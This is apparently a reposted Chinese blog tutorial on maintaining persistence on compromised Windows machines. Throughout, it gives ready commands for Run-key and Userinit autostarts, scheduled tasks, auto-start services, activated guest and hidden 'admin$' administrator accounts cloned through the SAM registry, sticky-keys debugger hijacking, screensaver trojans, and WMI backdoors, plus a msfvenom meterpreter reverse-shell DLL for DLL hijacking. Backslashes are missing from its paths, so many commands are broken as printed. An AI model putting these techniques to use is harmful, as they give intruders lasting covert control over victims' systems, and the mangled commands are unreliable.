windows权限维持

一 注册表

二 计划任务

三 服务

四 影子账户和激活guest

五 快捷键位

六 镜像劫持

七 屏幕保护程序

八 dll劫持

九 wmi后门

一、注册表

打开HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下新建一个开机启动项。

REG ADD "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun" /v test /t REG_SZ /d "C:Windows mp12.exe"

注册表:

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon的键值Userinit

将键值添加为C:Windowssystem32userinit.exe,cmd.exe

二、计划任务

schtasks /Create /tn Updater /tr c:windows12.exe /sc hourly /mo 1

命令会在每小时执行一次12.exe ,win7及以下的系统使用at命令代替

三、服务

使用一个免杀工具地址: https://github.com/itm4n/PrintSpoofer

shell sc create "serverport" binpath= "C:Pentest12.exe"

shell sc description "serverport" "serverpower"【设置服务的描述】

shell sc config "serverport" start= auto 【设置服务自启动】

shell net start "serverport"

四、影子账户配合3389

激活guest账户

C:>net user guest /active:yes 

C:>net user guest 1234@12.com

C:>net localgroup administrators guest /add

影子账户

添加一个用户名带$的用户,如:admin$:123456@sec

net user admin$ 123456@sec /add #添加用户admin$

net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators

此时使用net user 无法查看出 但 可以在控制面板的管理工具中用户与用户组查看到该用户的存在

登录

对注册表进行修改利用 运行 输入regedit 打开注册表

HKEY_LOCAL_MACHINE----SAM--SAM

右键 权限

(某些系统需要重新打开注册表刷新)回到注册表主页面

,找HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers和HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsersNames

将Administrator F表内的二进制数据复制下来 替换 admin$的

导出Users和Names下对应admin$项

用cmdshell(管理员权限)将admin$删除

net user admin$ /del

导入刚才的文件(直接鼠标拖入即可)

导入成功后回到管理工具中的查看用户与用户组的页面,发现用户组和用户已经没有admin$这个用户的存在

添加admin$用户的用户名到远程登录

五、快捷键位(手工忽略)

C:WindowsSystem32sethc.exe  粘滞键shift键位

C:WindowsSystem32utilman.exe 设置中心 快捷键:Windows+U 键

C:WindowsSystem32osk.exe        屏幕键盘

C:WindowsSystem32Magnify.exe    放大镜      快捷键:Windows+加减号

六、镜像劫持

修改注册表,利用镜像劫持。将快捷键shift 替换为木马

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windows12.exe"

然后连续按5次“Shift”,就会执行木马

七 屏幕保护程序

屏幕保护程序设置存储在注册表中

将木马文件的后缀由exe改为scr

使用/f参数强制执行

reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:windows12.scr" /f

reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:windows12.exe" /f

修改屏保启动时间

reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveActive /t REG_SZ /d 1 /f

reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f

reg.exe add "HKEY_CURRENT_USERControl PanelDesktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

或者使用nishang powershell脚本

八 dll劫持

原理:windows程序启动需要dll,如果这些dll不存在,则可以通过在应用程序中查找的位置防止恶意的dll来提权,DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术。如果某进程以过多的权限运行,那么可以会被攻击者加以利用,以DLL文件的形式执行恶意代码以提升权限

msf生成dll文件或者其他工具生成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXXX LPORT=4444 -f dll > /tmp/pentestlab.dll

替换第三方工具 或者系统不重要的程序

常用的如LPK.dll的劫持

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerExcludeFromKnownDlls

九 wmi后门

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。

检索系统已安装的软件

wmic product list brief |more

搜索系统运行服务

wmic service list brief |more

使用powershell脚本进行实现

empire使用模块:usemodule persistence/elevated/wmi



原文地址:https://www.cnblogs.com/bingtang123/p/15139614.html